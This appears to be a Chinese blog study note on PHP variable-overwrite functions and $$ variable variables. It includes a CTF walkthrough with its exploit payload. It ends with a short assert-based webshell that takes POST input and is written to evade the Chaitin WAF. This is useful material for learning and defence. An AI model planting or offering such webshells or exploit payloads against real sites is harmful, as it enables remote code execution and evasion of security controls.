PHP变量覆盖
网上看到挺多文章了,自己也写一篇记一下
变量覆盖顾名思义就是把变量覆盖掉(2333)
下面记录一下可以变量覆盖的函数
最常见的变量覆盖函数
1 2 3 4 5
| <?php $a=1; extract(array("a"=>"2")); echo $a; ?>
|
extract()参数为一个数组,键名为变量名,键值为变量值
0x02 parse_str()
1 2 3 4 5
| <?php $a=1; parse_str("a=2"); echo $a; ?>
|
parse_str()参数为字符串,把查询字符串解析到变量中
0x03 mb_parse_str()
1 2 3 4 5
| <?php $a=1; mb_parse_str("a=2"); echo $a; ?>
|
同上
0x04 register_globals全局变量覆盖
PHP版本要低于5.4
需要修改php.ini,在文件最后加上
register_globals=On
重启服务器即可,这样所有的变量都可以覆盖
简单测试一下就行了,就不截图了
0x05 import_request_variables()
import_request_variables()函数将GET/POST/Cookie变量导入到全局作用域中
第二个参数可选,变量名的前缀,会自动加在所有被导入的变量名桌子前
1 2 3 4 5
| <?php $a_a = "1"; import_request_variables("GPC","a_"); echo $a_a; ?>
|
GPC代表GET/POST/COOKIE
0x06 $$变量覆盖
1 2 3 4 5
| <?php $a="b"; $b="c"; echo $$a; ?>
|
就差不多是这样,两个$可以将前面的值当作下一个变量(感觉解释的也不是很清楚,就差不多这个意思..)
网上看来看去关于变量覆盖的CTF题目不是特别多,就那么几题,就拿一个经典的来说吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php $flag = "flag{123}"; $_403 = "Access Denied"; $_200 = "Welcome Admin"; if ($_SERVER["REQUEST_METHOD"] != "POST"){ die("BugsBunnyCTF is here :p…"); } if ( !isset($_POST["flag"]) ){ die($_403); } foreach ($_GET as $key => $value){ $$key = $$value; } foreach ($_POST as $key => $value){ $$key = $value; } if ( $_POST["flag"] !== $flag ) { die($_403); } else { echo "This is your flag : ". $flag . "\n"; die($_200); } ?>
|
payload:127.0.0.1?_200=flag POST:flag=
第一个判断必须要使用POST,不然就退出
第二个判断POST变量一定要有flag参数,不然也退出,然后开始循环
第一个foreach循环GET请求得到的数组,在$$key = $$value出现了变量覆盖
这时如果GET请求为_200=flag,实际在里面是
1 2
| $$key = $$value $_200 = $flag
|
把flag的值赋值到$_200中
第二个foreach循环POST请求得到数组,这里只有$key可以变量覆盖
如果POST参数为flag=1,得到
1 2
| $$key = $value $flag = 1
|
把flag变量覆盖了,所以下一个判断一定是相等的
这时候$_200里面的值已经是flag了,所以输出$_200可以得到flag
0x07 webshell
最后用学到的变量覆盖写一个过长亭的webshell
1 2 3 4 5 6 7
| <?php $b='aaa'; $c=$_POST['pass']; parse_str("b=".$c); $a = 'assert'; $a($b); ?>
|